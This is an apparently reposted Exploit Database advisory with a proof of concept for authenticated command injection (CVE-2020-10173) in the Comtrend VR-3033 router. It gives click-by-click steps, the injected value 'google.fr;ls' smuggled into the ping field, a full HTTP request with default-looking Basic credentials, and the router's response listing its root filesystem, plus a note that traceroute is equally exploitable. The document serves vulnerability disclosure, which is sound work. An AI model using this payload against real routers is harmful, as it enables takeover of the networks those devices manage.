Comtrend VR-3033 – Command Injection

Exploit Database
130 阅读

作者： Raki Ben Hamouda

日期： 2020-02-27
类别：
- webapps
平台：
- hardware
来源：https://www.exploit-db.com/exploits/48142/

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# Title: Comtrend VR-3033 - Authenticated Command Injection

# Date: 2020-02-26

# Author: Author : Raki Ben Hamouda

# Vendor: https://us.comtrend.com

# Product link: https://us.comtrend.com/products/vr-3030/

# CVE: CVE-2020-10173

The Comtrend VR-3033 is prone to Multiple Authenticated Command Injection

vulnerability via ping and traceroute diagnostic page.

Remote attackers are able to get full control and compromise the network

managed by the router.

Note : This bug may exist in other Comtrend routers .

===============================================

Product Page :

https://us.comtrend.com/products/vr-3030/

Firmware version :

DE11-416SSG-C01_R02.A2pvI042j1.d26m

Bootloader (CFE) Version :

1.0.38-116.228-1

To reproduce the vulnerability attacker has to access the interface at

least with minimum privilege.

1- Open interface

2- click on 'Diagnostic' tab on top.

3- click then on 'Ping' or traceroute

4- on the text input, type 'google.fr;ls - l'

5 - a list of folder names should appear.

#############################

POC session Logs :

GET /ping.cgi?pingIpAddress=google.fr;ls&sessionKey=1039230114 HTTP/1.1

Host: 192.168.0.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:73.0)

Gecko/20100101 Firefox/73.0

Accept:

text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Authorization: Basic dXNlcjp1c2Vy

Connection: close

Referer: http://192.168.0.1/pingview.cmd

Upgrade-Insecure-Requests: 1

=====================++RESPONSE++=====================

HTTP/1.1 200 Ok

Server: micro_httpd

Cache-Control: no-cache

Date: Fri, 02 Jan 1970 00:00:26 GMT

Content-Type: text/html

Connection: close

</script>

<!-- hide

function btnPing() {

var loc = 'ping.cgi?';

with ( document.forms[0] ) {

if (pingIpAddress.value.length == 0 ) {

return;

}

loc += 'pingIpAddress=' + pingIpAddress.value;

loc += '&sessionKey=1592764063';

}

var code = 'location="' + loc + '"';

eval(code);

}

// done hiding -->

</script>

</head>

<body>

<form>

<br> Send ICMP ECHO_REQUEST packets to network hosts.<br>

<td width="170">Ping IP Address / Hostname:</td>

<td width="170"><input type='text' name='pingIpAddress'

onkeydown="if(event.keyCode == 13){event.returnValue = false;}"></td>

</tr></table><br>

<tr>

<td>bin

</td><br>

</tr>

<tr>

<td>bootfs

</td><br>

</tr>

<tr>

<td>data

</td><br>

</tr>

<tr>

<td>debug

</td><br>

</tr>

<tr>

<td>dev

</td><br>

</tr>

<tr>

<td>etc

</td><br>

</tr>

<tr>

<td>lib

</td><br>

</tr>

<tr>

<td>linuxrc

</td><br>

</tr>

<tr>

<td>mnt

</td><br>

</tr>

<tr>

<td>opt

</td><br>

</tr>

<tr>

<td>proc

</td><br>

</tr>

<tr>

<td>sbin

</td><br>

</tr>

<tr>

<td>sys

</td><br>

</tr>

<tr>

<td>tmp

</td><br>

</tr>

<tr>

<td>usr

</td><br>

</tr>

<tr>

<td>var

</td><br>

</tr>

<tr>

<td>webs

</td><br>

</tr>

</form>

</blockquote>

</body>

</html>

##Same bug with the same way we exploited in ping function can be exploited

the same way in traceroute function.

===========

##Timeline :

*Bug sent to vendor : 17-02-2020

*No Response after 10 days

* Public disclosure: 27-02-020